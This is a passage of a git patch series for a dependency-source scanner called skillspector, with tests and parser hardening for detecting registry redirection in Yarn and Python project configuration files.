3 @@ -364,7 +364,7 @@ }, { "id": "line-anchor-poetry-url", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -374,10 +374,10 @@ { "severity": "HIGH", "ecosystem": "poetry", - "surface": "pyproject.toml source", - "operation": "add", - "scope": "private", - "destination": "https://packages.example.invalid/simple", + "surface": "python-project-config", + "operation": "replace", + "scope": "project", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pyproject.toml", "start_line": 7 diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index 8dc99e74..8583ecca 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -13,10 +13,12 @@ from skillspector.artifacts import ArtifactDisposition, ArtifactRecord, classify_artifact from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_CONFIG_DEPTH, MAX_DEPENDENCY_CONFIG_NODES, MAX_DEPENDENCY_RETAINED_LITERAL_BYTES, MAX_DEPENDENCY_SOURCE_CHANGES, MAX_DEPENDENCY_SOURCE_RECORDS, + MAX_DEPENDENCY_YAML_ALIASES, DependencySourceLimitationReason, DependencyWorkBudget, ) @@ -756,3 +758,524 @@ def test_malformed_pip_configs_are_localized_limitations(content: str) -> None: path="pip.conf", end_line=max(1, content.encode().count(b"\n") + 1), ) + + +def test_yarn_v1_uses_case_sensitive_independent_last_values_and_fixed_scopes() -> None: + content = ( + " # ignored\n" + "registry https://first.example.invalid/a#fragment;data\n" + "Registry https://ignored.example.invalid\n" + '"@private:registry" "https://user:secret@packages.example.invalid/team" ; note\n' + "registry https://registry.yarnpkg.com/ # effective default\n" + ) + + analysis = _analyze({"project/.yarnrc": content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "yarn", + "surface": "yarn-config", + "operation": "replace", + "scope": "scoped", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "project/.yarnrc", + "start_line": 4, + "end_line": 4, + } + ] + assert "private" not in repr(analysis) + assert "secret" not in repr(analysis) + + +@pytest.mark.parametrize( + "content", + [ + "registry https://old.example.invalid\nregistry\n", + 'registry "https://old.example.invalid"\nregistry "https://broken.example.invalid\n', + '"@private:registry"\n', + 'registry "https://packages.example.invalid"#not-a-comment\n', + ], +) +def test_yarn_v1_malformed_final_relevant_assignment_does_not_revive_old_value( + content: str, +) -> None: + analysis = _analyze({".yarnrc": content}) + + _assert_single_parse_limitation( + analysis, + path=".yarnrc", + end_line=content.encode().count(b"\n") + 1, + ) + + +@pytest.mark.parametrize("path", [".yarnrc.yml", ".yarnrc.yaml"]) +def test_yarn_yaml_accepts_flow_quoted_block_and_alias_values_with_exact_spans( + path: str, +) -> None: + content = ( + "note: café\r\n" + 'defaults: ®istry "https://alias.example.invalid/simple"\r\n' + '"npmRegistryServer": >-\r\n' + " https://global.example.invalid/simple\r\n" + "npmScopes: {private: {npmRegistryServer: *registry}}\r\n" + ) + + analysis = _analyze({path: content}) + + assert analysis.limitations == () + assert [ + ( + finding.evidence["scope"], + finding.evidence["destination"], + finding.start_line, + finding.end_line, + ) + for finding in analysis.findings + ] == [ + ("global", "https://global.example.invalid/REDACTED_PATH", 3, 4), + ("scoped", "https://alias.example.invalid/REDACTED_PATH", 5, 5), + ] + module = importlib.import_module("skillspector.dependency_sources") + parsed = module._parse_file( + path, + content, + content.encode(), + DependencyWorkBudget().for_file(path), + ) + assert content.encode()[ + parsed.changes[0].span.start_byte : parsed.changes[0].span.end_byte + ].startswith(b">-") + assert ( + content.encode()[parsed.changes[1].span.start_byte : parsed.changes[1].span.end_byte] + == b"*registry" + ) + + +@pytest.mark.parametrize( + "content", + [ + "npmRegistryServer: https://one.example.invalid\nnpmRegistryServer: https://two.example.invalid\n", + "npmScopes: 1\n", + "npmScopes:\n private: 1\n", + "npmScopes:\n private:\n npmRegistryServer: 1\n", + "npmScopes:\n private: {}\n private: {}\n", + "npmScopes:\n private:\n npmRegistryServer: https://one.example.invalid\n npmRegistryServer: https://two.example.invalid\n", + "base: &base {npmRegistryServer: https://one.example.invalid}\nnpmScopes:\n private:\n <<: *base\n", + "base: &base {npmRegistryServer: https://one.example.invalid}\n<<: *base\n", + "npmRegistryServer: !mirror https://one.example.invalid\n", + "? [npmRegistryServer]\n: https://one.example.invalid\n", + ], +) +def test_yarn_yaml_rejects_ambiguous_relevant_shapes(content: str) -> None: + analysis = _analyze({".yarnrc.yml": content}) + + _assert_single_parse_limitation( + analysis, + path=".yarnrc.yml", + end_line=content.encode().count(b"\n") + 1, + ) + + +def test_yarn_yaml_ignores_unrelated_registry_keys_even_when_duplicated() -> None: + analysis = _analyze( + {".yarnrc.yml": ("packageExtensions:\n pkg:\n registry: first\n registry: second\n")} + ) + + assert analysis.findings == () + assert analysis.limitations == () + + +def test_yarn_yaml_alias_limit_is_exact_and_one_over() -> None: + exact = ( + "base: &base value\nitems: [" + + ", ".join("*base" for _ in range(MAX_DEPENDENCY_YAML_ALIASES)) + + "]\n" + ) + one_over = exact.replace("]\n", ", *base]\n") + + assert _analyze({".yarnrc.yml": exact}).limitations == () + limitation = _assert_single_parse_limitation( + _analyze({".yarnrc.yml": one_over}), + path=".yarnrc.yml", + end_line=3, + ) + assert limitation.ledger_metrics() == { + "observed_records": MAX_DEPENDENCY_YAML_ALIASES + 1, + "limit_records": MAX_DEPENDENCY_YAML_ALIASES, + } + + +def test_yarn_yaml_recursive_alias_is_a_limitation() -> None: + content = "npmScopes: &scopes\n private: *scopes\n" + + analysis = _analyze({".yarnrc.yml": content}) + + _assert_single_parse_limitation(analysis, path=".yarnrc.yml", end_line=3) + + +def test_yarn_yaml_node_budget_is_charged_once_before_construction() -> None: + # Root mapping, key scalar, and value scalar are the three node-producing events. + exact_budget = DependencyWorkBudget() + assert exact_budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES - 3) is None + assert _analyze({".yarnrc.yml": "unrelated: value\n"}, budget=exact_budget).limitations == () + + over_budget = DependencyWorkBudget() + assert over_budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES - 2) is None + limitation = _assert_single_parse_limitation( + _analyze({".yarnrc.yml": "unrelated: value\n"}, budget=over_budget), + path=".yarnrc.yml", + end_line=2, + ) + assert limitation.ledger_metrics() == { + "observed_records": MAX_DEPENDENCY_CONFIG_NODES + 1, + "limit_records": MAX_DEPENDENCY_CONFIG_NODES, + } + + +def test_yarn_yaml_depth_limit_is_exact_and_one_over() -> None: + def nested(depth: int) -> str: + return "root: " + "[" * (depth - 1) + "value" + "]" * (depth - 1) + "\n" + + assert _analyze({".yarnrc.yml": nested(MAX_DEPENDENCY_CONFIG_DEPTH)}).limitations == () + limitation = _assert_single_parse_limitation( + _analyze({".yarnrc.yml": nested(MAX_DEPENDENCY_CONFIG_DEPTH + 1)}), + path=".yarnrc.yml", + end_line=2, + ) + assert limitation.ledger_metrics() == { + "observed_depth": MAX_DEPENDENCY_CONFIG_DEPTH + 1, + "limit_depth": MAX_DEPENDENCY_CONFIG_DEPTH, + } + + +def test_python_project_sources_apply_manager_specific_operations_and_fixed_scope() -> None: + content = ( + "[[tool.poetry.source]]\n" + 'name = "primary-name"\n' + 'url = "https://poetry-primary.example.invalid/simple"\n' + "\n[[tool.poetry.source]]\n" + 'name = "supplement-name"\n' + 'url = "https://poetry-extra.example.invalid/simple"\n' + 'priority = "supplemental"\n' + "\n[[tool.poetry.source]]\n" + 'name = "explicit-name"\n' + 'url = "https://poetry-explicit.example.invalid/simple"\n' + 'priority = "explicit"\n' + "\n[[tool.pdm.source]]\n" + 'name = "pypi"\n' + 'url = "https://pdm-primary.example.invalid/simple"\n' + "\n[[tool.pdm.source]]\n" + 'name = "extra-name"\n' + 'url = "https://pdm-extra.example.invalid/simple"\n' + "\n[[tool.uv.index]]\n" + 'url = "https://uv-extra.example.invalid/simple"\n' + "\n[[tool.uv.index]]\n" + 'name = "uv-primary-name"\n' + 'url = "https://uv-primary.example.invalid/simple"\n' + "default = true\n" + ) + + analysis = _analyze({"pyproject.toml": content}) + + assert analysis.limitations == () + assert [ + (finding.evidence["ecosystem"], finding.evidence["operation"], finding.start_line) + for finding in analysis.findings + ] == [ + ("poetry", "replace", 3), + ("poetry", "add", 7), + ("poetry", "add", 12), + ("pdm", "replace", 17), + ("pdm", "add", 21), + ("uv", "add", 24), + ("uv", "replace", 28), + ] + assert {finding.evidence["surface"] for finding in analysis.findings} == { + "python-project-config" + } + assert {finding.evidence["scope"] for finding in analysis.findings} == {"project"} + for raw_name in ( + "primary-name", + "supplement-name", + "explicit-name", + "extra-name", + "uv-primary-name", + ): + assert raw_name not in repr(analysis) + + +def test_pdm_alone_models_ascii_environment_substitution_without_environment_access( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("PRIVATE_INDEX", "https://must-not-be-read.example.invalid") + content = ( + "[[tool.pdm.source]]\n" + 'name = "private"\n' + 'url = "https://${PRIVATE_INDEX}/simple"\n' + "[[tool.poetry.source]]\n" + 'name = "private"\n' + 'url = "https://${PRIVATE_INDEX}/simple"\n' + "[[tool.uv.index]]\n" + 'url = "https://${PRIVATE_INDEX}/simple"\n' + ) + + analysis = _analyze({"pyproject.toml": content}) + + assert analysis.limitations == () + assert [finding.evidence["destination_status"] for finding in analysis.findings] == [ + "unresolved", + "resolved", + "resolved", + ] + assert analysis.findings[0].evidence["destination"] == "unresolved" + assert "must-not-be-read" not in repr(analysis) + assert "PRIVATE_INDEX" not in repr(analysis) + + +def test_same_directory_uv_toml_precedes_only_pyproject_uv_tables() -> None: + pyproject = ( + "[[tool.poetry.source]]\n" + 'name = "private"\n' + 'url = "https://poetry.example.invalid/simple"\n' + "[[tool.pdm.source]]\n" + 'name = "private"\n' + 'url = "https://pdm.example.invalid/simple"\n' + "[[tool.uv.index]]\n" + 'url = "https://ignored-uv.example.invalid/simple"\n' + ) + uv = '[[index]]\nurl = "https://effective-uv.example.invalid/simple"\ndefault = true\n' + + analysis = _analyze({"nested/pyproject.toml": pyproject, "nested/uv.toml": uv}) + + assert analysis.limitations == () + assert [finding.evidence["ecosystem"] for finding in analysis.findings] == [ + "poetry", + "pdm", + "uv", + ] + assert "ignored-uv" not in repr(analysis) + + +def test_uv_toml_does_not_precede_a_pyproject_in_another_directory() -> None: + pyproject = '[[tool.uv.index]]\nurl = "https://project-uv.example.invalid/simple"\n' + uv = '[[index]]\nurl = "https://standalone-uv.example.invalid/simple"\n' + + analysis = _analyze({"one/pyproject.toml": pyproject, "two/uv.toml": uv}) + + assert analysis.limitations == () + assert [finding.file for finding in analysis.findings] == [ + "one/pyproject.toml", + "two/uv.toml", + ] + + +@pytest.mark.parametrize( + ("path", "content"), + [ + ("pyproject.toml", "[tool.poetry.source]\nname='x'\nurl='https://x.example.invalid'\n"), + ("pyproject.toml", "[[tool.poetry.source]]\nurl='https://x.example.invalid'\n"), + ("pyproject.toml", "[[tool.poetry.source]]\nname=''\nurl='https://x.example.invalid'\n"), + ("pyproject.toml", "[[tool.poetry.source]]\nname='x'\nurl=''\n"), + ( + "pyproject.toml", + "[[tool.poetry.source]]\nname='x'\nurl='https://x.example.invalid'\npriority='secondary'\n", + ), + ("pyproject.toml", "[[tool.pdm.source]]\nname=1\nurl='https://x.example.invalid'\n"), + ("pyproject.toml", "[[tool.uv.index]]\nname=''\nurl='https://x.example.invalid'\n"), + ("pyproject.toml", "[[tool.uv.index]]\nurl='https://x.example.invalid'\ndefault='true'\n"), + ("uv.toml", "[index]\nurl='https://x.example.invalid'\n"), + ("uv.toml", "index=[]\n"), + ("uv.toml", "[[index]]\nurl=1\n"), + ("pyproject.toml", "[[tool.uv.index]\nurl='https://x.example.invalid'\n"), + ], +) +def test_python_project_relevant_shape_and_field_errors_are_limitations( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + _assert_single_parse_limitation( + analysis, + path=path, + end_line=content.encode().count(b"\n") + 1, + ) + + +def test_python_project_accepts_quoted_dotted_keys_and_anchors_each_url_occurrence() -> None: + prefix = "# café decoy https://same.example.invalid/simple\r\n" + first = ( + '[["tool"."poetry"."source"]]\r\n' + '"name" = "first"\r\n' + '"url" = "https://same.example.invalid/simple"\r\n' + ) + second = ( + "[[tool.poetry.source]]\r\n" + 'name = "second"\r\n' + 'url = "https://same.example.invalid/simple"\r\n' + 'priority = "explicit"\r\n' + ) + content = prefix + first + second + + analysis = _analyze({"pyproject.toml": content}) + + assert analysis.limitations == () + assert [finding.start_line for finding in analysis.findings] == [4, 7] + module = importlib.import_module("skillspector.dependency_sources") + parsed = module._parse_file( + "pyproject.toml", + content, + content.encode(), + DependencyWorkBudget().for_file("pyproject.toml"), + ) + assert [ + content.encode()[change.span.start_byte : change.span.end_byte] for change in parsed.changes + ] == [ + b'"https://same.example.invalid/simple"', + b'"https://same.example.invalid/simple"', + ] + + +def test_python_project_multiline_url_span_covers_its_own_value_token() -> None: + content = '[[index]]\r\nurl = """https://packages.example.invalid\r\n/simple""" # note\r\n' + module = importlib.import_module("skillspector.dependency_sources") + + parsed = module._parse_file( + "uv.toml", + content, + content.encode(), + DependencyWorkBudget().for_file("uv.toml"), + ) + + assert parsed.limitations == () + assert len(parsed.changes) == 1 + span = parsed.changes[0].span + assert (span.start_line, span.end_line) == (2, 3) + assert content.encode()[span.start_byte : span.end_byte] == ( + b'"""https://packages.example.invalid\r\n/simple"""' + ) + + +def test_toml_config_node_budget_is_exact_and_one_over() -> None: + content = '[[index]]\nurl="https://packages.example.invalid/simple"\n' + exact_budget = DependencyWorkBudget() + assert exact_budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES - 6) is None + assert _analyze({"uv.toml": content}, budget=exact_budget).limitations == () + + over_budget = DependencyWorkBudget() + assert over_budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES - 5) is None + limitation = _assert_single_parse_limitation( + _analyze({"uv.toml": content}, budget=over_budget), + path="uv.toml", + end_line=3, + ) + assert limitation.ledger_metrics() == { + "observed_records": MAX_DEPENDENCY_CONFIG_NODES + 1, + "limit_records": MAX_DEPENDENCY_CONFIG_NODES, + } + + +def test_toml_depth_limit_is_exact_and_one_over() -> None: + def nested(parts: int) -> str: + return f"[{'.'.join(f'a{index}' for index in range(parts))}]\nvalue=1\n" + + assert _analyze({"pyproject.toml": nested(MAX_DEPENDENCY_CONFIG_DEPTH - 1)}).limitations == () + limitation = _assert_single_parse_limitation( + _analyze({"pyproject.toml": nested(MAX_DEPENDENCY_CONFIG_DEPTH)}), + path="pyproject.toml", + end_line=3, + ) + assert limitation.ledger_metrics() == { + "observed_depth": MAX_DEPENDENCY_CONFIG_DEPTH + 1, + "limit_depth": MAX_DEPENDENCY_CONFIG_DEPTH, + } + + +@pytest.mark.parametrize( + ("path", "content"), + [ + (".yarnrc", "registry=https://packages.example.invalid\n"), + (".yarnrc.yml", "npmRegistryServer: https://registry.yarnpkg.com/\n"), + ( + "pyproject.toml", + "[[tool.poetry.source]]\nname='custom'\nurl='https://pypi.org/simple/'\n", + ), + ("pyproject.toml", "[[tool.pdm.source]]\nname='custom'\nurl='HTTPS://PYPI.ORG/simple'\n"), + ("uv.toml", "[[index]]\nurl='https://pypi.org/simple/'\n"), + ], +) +def test_yarn_and_python_exact_canonical_destinations_are_inert( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + assert analysis.findings == () + assert analysis.limitations == () + + +@pytest.mark.parametrize( + ("path", "content"), + [ + (".yarnrc.yml", "npmRegistryServer: https://registry.yarnpkg.com///\n"), + ( + "uv.toml", + "[[index]]\nurl='https://pypi.org/simple///'\n", + ), + ], +) +def test_multiple_trailing_slashes_are_not_canonical_defaults( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + assert len(analysis.findings) == 1 + assert analysis.limitations == () + + +def test_toml_physical_limit_rejects_before_parser_construction( + monkeypatch: pytest.MonkeyPatch, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + calls: list[str] = [] + + def unexpected_loads(text: str) -> object: + calls.append(text) + raise AssertionError("tomllib must not be called") + + monkeypatch.setattr(module.tomllib, "loads", unexpected_loads) + content = "[[index]]\nurl='https://x.example.invalid'\n" + inventory = classify_artifact("uv.toml", content.encode()) + inventory["size_bytes"] = 1_000_001 + + analysis = _analyze({"uv.toml": content}, artifact_inventory=[inventory]) + + _assert_single_parse_limitation(analysis, path="uv.toml", end_line=3) + assert calls == [] + + +@pytest.mark.parametrize("resource", ["retained", "records", "changes"]) +def test_python_source_budget_one_over_discards_partial_file_results(resource: str) -> None: + budget = DependencyWorkBudget() + literal = "https://packages.example.invalid/simple" + if resource == "retained": + assert ( + budget.charge_retained_literal_bytes( + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES - len(literal.encode()) + ) + is None + ) + elif resource == "records": + assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - 1) is None + else: + assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - 1) is None + content = f'[[index]]\nurl="{literal}"\n[[index]]\nurl="{literal}"\n' + + analysis = _analyze({"uv.toml": content}, budget=budget) + + assert analysis.findings == () + assert len(analysis.limitations) == 1 + assert analysis.limitations[0].ledger_metrics() From f1c4396fd848d092bb9f58684beaadef8d9ced69 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 00:34:00 -0700 Subject: [PATCH 20/30] fix(sc10): harden structured config parsing Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 45 ++++++ src/skillspector/dependency_sources.py | 144 +++++++++++++++--- .../analyzers/test_dependency_sources.py | 86 +++++++++++ 3 files changed, 255 insertions(+), 20 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 73042ae2..4022b3ee 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -494,6 +494,38 @@ def reserve_source_changes(self, count: int = 1) -> DependencyWorkExhaustion | N self._used[findings] = next_findings return None + def reserve_source_batch( + self, + *, + source_records: int, + retained_literal_bytes: int, + emitted_changes: int, + ) -> DependencyWorkExhaustion | None: + """Atomically reserve every output counter for one structured source file.""" + requested = { + DependencyWorkResource.SOURCE_RECORDS: _require_nonnegative_integer( + source_records, "source_records" + ), + DependencyWorkResource.RETAINED_LITERAL_BYTES: _require_nonnegative_integer( + retained_literal_bytes, "retained_literal_bytes" + ), + DependencyWorkResource.EMITTED_CHANGES: _require_nonnegative_integer( + emitted_changes, "emitted_changes" + ), + DependencyWorkResource.FINDING_OUTPUT_RECORDS: _require_nonnegative_integer( + emitted_changes, "emitted_changes" + ), + } + next_used: dict[DependencyWorkResource, int] = {} + for resource, count in requested.items(): + observed = self._used[resource] + count + limit = _SCAN_LIMITS[resource] + if observed > limit: + return DependencyWorkExhaustion(resource, observed, limit) + next_used[resource] = observed + self._used.update(next_used) + return None + def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: """Reserve normal ledger rows without consuming the truncation slot.""" value = _require_nonnegative_integer(count, "count") @@ -585,6 +617,19 @@ def charge_finding_output_records(self, count: int) -> DependencyWorkExhaustion def reserve_source_changes(self, count: int = 1) -> DependencyWorkExhaustion | None: return self._root.reserve_source_changes(count) + def reserve_source_batch( + self, + *, + source_records: int, + retained_literal_bytes: int, + emitted_changes: int, + ) -> DependencyWorkExhaustion | None: + return self._root.reserve_source_batch( + source_records=source_records, + retained_literal_bytes=retained_literal_bytes, + emitted_changes=emitted_changes, + ) + def charge_ledger_events(self, count: int) -> DependencyWorkExhaustion | None: return self._root.charge_ledger_events(count) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index cf339215..9f313a07 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -325,6 +325,43 @@ def _changes_from_candidates( budget: DependencyFileBudget, atomic: bool = False, ) -> DependencySourceParseResult: + if atomic: + prepared: list[tuple[_Candidate, str, DestinationStatus]] = [] + retained_literal_bytes = 0 + for candidate in candidates: + raw_destination = candidate.destination + if raw_destination is None: + raw_destination = raw[ + candidate.span.start_byte : candidate.span.end_byte + ].decode("utf-8") + retained_literal_bytes += len(raw_destination.encode("utf-8")) + normalized = _destination(candidate.ecosystem, raw_destination) + if normalized is not None: + prepared.append((candidate, *normalized)) + exhaustion = budget.reserve_source_batch( + source_records=len(candidates), + retained_literal_bytes=retained_literal_bytes, + emitted_changes=len(prepared), + ) + if exhaustion is not None: + return DependencySourceParseResult( + limitations=(_limitation(path, raw, exhaustion),), + ) + return DependencySourceParseResult( + changes=tuple( + SourceChange( + ecosystem=candidate.ecosystem, + surface=candidate.surface, + operation=candidate.operation, + scope=candidate.scope, + destination=destination, + destination_status=status, + span=candidate.span, + ) + for candidate, destination, status in prepared + ) + ) + changes: list[SourceChange] = [] for candidate in candidates: change, exhaustion = _candidate_change(candidate, raw, budget) @@ -789,7 +826,14 @@ def _yaml_event_tree( {}, DependencySourceParseResult(limitations=(_limitation(path, raw),)), ) - except (ScannerError, ParserError, yaml.YAMLError): + except ( + ScannerError, + ParserError, + yaml.YAMLError, + ValueError, + OverflowError, + RecursionError, + ): return None, {}, DependencySourceParseResult(limitations=(_limitation(path, raw),)) if stack: return None, {}, DependencySourceParseResult(limitations=(_limitation(path, raw),)) @@ -845,15 +889,27 @@ def _yaml_key(node: _YamlNode, anchors: Mapping[str, _YamlNode]) -> str | None: return resolved.value if resolved is not None and resolved.kind == "scalar" else None -def _yaml_has_explicit_tag(node: _YamlNode) -> bool: - if node.tag is not None: - return True - for item in node.items: - if isinstance(item, tuple): - if _yaml_has_explicit_tag(item[0]) or _yaml_has_explicit_tag(item[1]): - return True - elif isinstance(item, _YamlNode) and _yaml_has_explicit_tag(item): +def _yaml_has_explicit_tag( + node: _YamlNode, + anchors: Mapping[str, _YamlNode], +) -> bool: + stack = [node] + seen: set[int] = set() + while stack: + resolved = _yaml_resolve(stack.pop(), anchors) + if resolved is None: return True + identity = id(resolved) + if identity in seen: + continue + seen.add(identity) + if resolved.tag is not None: + return True + for item in resolved.items: + if isinstance(item, tuple): + stack.extend(item) + elif isinstance(item, _YamlNode): + stack.append(item) return False @@ -944,7 +1000,7 @@ def _parse_yarn_yaml( try: loaded = yaml.safe_load(text) - except yaml.YAMLError: + except (yaml.YAMLError, ValueError, OverflowError, RecursionError): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) loaded_check = _bounded_loaded_object(loaded, budget) if loaded_check is True: @@ -965,7 +1021,7 @@ def _parse_yarn_yaml( key = _yaml_key(key_node, anchors) if key not in {"npmRegistryServer", "npmScopes"}: continue - if key in top_seen or _yaml_has_explicit_tag(key_node): + if key in top_seen or _yaml_has_explicit_tag(key_node, anchors): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) top_seen.add(key) if key == "npmRegistryServer": @@ -986,8 +1042,8 @@ def _parse_yarn_yaml( if ( scopes is None or scopes.kind != "mapping" - or _yaml_has_explicit_tag(value_node) - or _yaml_has_explicit_tag(scopes) + or _yaml_has_explicit_tag(value_node, anchors) + or _yaml_has_explicit_tag(scopes, anchors) ): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) scope_pairs = _yaml_pairs(scopes) @@ -1008,8 +1064,8 @@ def _parse_yarn_yaml( if ( scope_mapping is None or scope_mapping.kind != "mapping" - or _yaml_has_explicit_tag(scope_key_node) - or _yaml_has_explicit_tag(scope_value_node) + or _yaml_has_explicit_tag(scope_key_node, anchors) + or _yaml_has_explicit_tag(scope_value_node, anchors) ): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) field_pairs = _yaml_pairs(scope_mapping) @@ -1021,7 +1077,7 @@ def _parse_yarn_yaml( if field_name == "<<" or field_name is None: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) if field_name == "npmRegistryServer": - if registry_nodes or _yaml_has_explicit_tag(field_key_node): + if registry_nodes or _yaml_has_explicit_tag(field_key_node, anchors): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) registry_nodes.append(field_value_node) if registry_nodes: @@ -1157,6 +1213,46 @@ def _toml_value_extent(text: str, start: int) -> int: return end +def _toml_multiline_string_state(line: str, delimiter: str | None) -> str | None: + quote: str | None = None + escaped = False + index = 0 + while index < len(line): + if delimiter is not None: + if delimiter == '"""' and line[index] == "\\": + index += 2 + continue + if line.startswith(delimiter, index): + delimiter = None + index += 3 + continue + index += 1 + continue + if quote == '"' and escaped: + escaped = False + index += 1 + continue + if quote == '"' and line[index] == "\\": + escaped = True + index += 1 + continue + if quote is not None: + if line[index] == quote: + quote = None + index += 1 + continue + if line[index] == "#": + break + if line.startswith(('"""', "'''"), index): + delimiter = line[index : index + 3] + index += 3 + continue + if line[index] in {'"', "'"}: + quote = line[index] + index += 1 + return delimiter + + def _toml_url_cursors( path: str, text: str, @@ -1168,6 +1264,7 @@ def _toml_url_cursors( current: _TomlTableCursor | None = None byte_offsets = _char_to_byte_offsets(text) position = 0 + multiline_delimiter: str | None = None while position < len(text): line_end = text.find("\n", position) if line_end < 0: @@ -1178,7 +1275,8 @@ def _toml_url_cursors( line = text[position:physical_end] stripped = line.lstrip() leading = len(line) - len(stripped) - if stripped.startswith("[["): + starts_in_multiline_string = multiline_delimiter is not None + if not starts_in_multiline_string and stripped.startswith("[["): close = stripped.find("]]", 2) if close < 0: return None @@ -1187,9 +1285,14 @@ def _toml_url_cursors( if table_path in relevant_paths: current = _TomlTableCursor(table_path) cursors[table_path].append(current) - elif stripped.startswith("["): + elif not starts_in_multiline_string and stripped.startswith("["): current = None - elif current is not None and stripped and not stripped.startswith("#"): + elif ( + not starts_in_multiline_string + and current is not None + and stripped + and not stripped.startswith("#") + ): equals = _toml_find_unquoted(stripped, "=") if equals is not None and _toml_key_parts(stripped[:equals]) == ("url",): value_start = position + leading + equals + 1 @@ -1211,6 +1314,7 @@ def _toml_url_cursors( next_newline = text.find("\n", position) position = len(text) if next_newline < 0 else next_newline + 1 continue + multiline_delimiter = _toml_multiline_string_state(line, multiline_delimiter) position = len(text) if line_end == len(text) else line_end + 1 return cursors @@ -1278,7 +1382,7 @@ def _parse_python_project( ) -> DependencySourceParseResult: try: document = tomllib.loads(text) - except tomllib.TOMLDecodeError: + except (tomllib.TOMLDecodeError, ValueError, OverflowError, RecursionError): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) if exhaustion := _toml_structural_check(document, budget): return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index 8583ecca..3aca0cf9 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -21,6 +21,7 @@ MAX_DEPENDENCY_YAML_ALIASES, DependencySourceLimitationReason, DependencyWorkBudget, + DependencyWorkResource, ) @@ -915,6 +916,17 @@ def test_yarn_yaml_recursive_alias_is_a_limitation() -> None: _assert_single_parse_limitation(analysis, path=".yarnrc.yml", end_line=3) +def test_yarn_yaml_rejects_explicitly_tagged_relevant_key_reached_through_alias() -> None: + content = ( + "key: &relevant !!str npmRegistryServer\n" + "*relevant: https://packages.example.invalid/simple\n" + ) + + analysis = _analyze({".yarnrc.yml": content}) + + _assert_single_parse_limitation(analysis, path=".yarnrc.yml", end_line=3) + + def test_yarn_yaml_node_budget_is_charged_once_before_construction() -> None: # Root mapping, key scalar, and value scalar are the three node-producing events. exact_budget = DependencyWorkBudget() @@ -1158,6 +1170,35 @@ def test_python_project_multiline_url_span_covers_its_own_value_token() -> None: ) +def test_python_project_ignores_table_and_key_syntax_inside_multiline_string() -> None: + content = ( + 'description = """\n' + "[[tool.poetry.source]]\n" + 'url = "https://decoy.example.invalid/simple"\n' + '"""\n' + "[[tool.poetry.source]]\n" + 'name = "real"\n' + 'url = "https://packages.example.invalid/simple"\n' + ) + + analysis = _analyze({"pyproject.toml": content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "poetry", + "surface": "python-project-config", + "operation": "replace", + "scope": "project", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "pyproject.toml", + "start_line": 7, + "end_line": 7, + } + ] + + def test_toml_config_node_budget_is_exact_and_one_over() -> None: content = '[[index]]\nurl="https://packages.example.invalid/simple"\n' exact_budget = DependencyWorkBudget() @@ -1279,3 +1320,48 @@ def test_python_source_budget_one_over_discards_partial_file_results(resource: s assert analysis.findings == () assert len(analysis.limitations) == 1 assert analysis.limitations[0].ledger_metrics() + + +def test_atomic_structured_file_discard_does_not_leak_output_budget_reservations() -> None: + budget = DependencyWorkBudget() + prior = MAX_DEPENDENCY_SOURCE_CHANGES - 1 + assert budget.reserve_source_changes(prior) is None + content = ( + '[[index]]\nurl="https://one.example.invalid/simple"\n' + '[[index]]\nurl="https://two.example.invalid/simple"\n' + ) + + analysis = _analyze({"uv.toml": content}, budget=budget) + + _assert_single_parse_limitation(analysis, path="uv.toml", end_line=5) + assert { + resource: budget.used(resource) + for resource in ( + DependencyWorkResource.SOURCE_RECORDS, + DependencyWorkResource.RETAINED_LITERAL_BYTES, + DependencyWorkResource.EMITTED_CHANGES, + DependencyWorkResource.FINDING_OUTPUT_RECORDS, + ) + } == { + DependencyWorkResource.SOURCE_RECORDS: 0, + DependencyWorkResource.RETAINED_LITERAL_BYTES: 0, + DependencyWorkResource.EMITTED_CHANGES: prior, + DependencyWorkResource.FINDING_OUTPUT_RECORDS: prior, + } + + +@pytest.mark.parametrize( + ("path", "content"), + [ + (".yarnrc.yml", "unrelated: " + "1" * 5_000 + "\n"), + ("pyproject.toml", 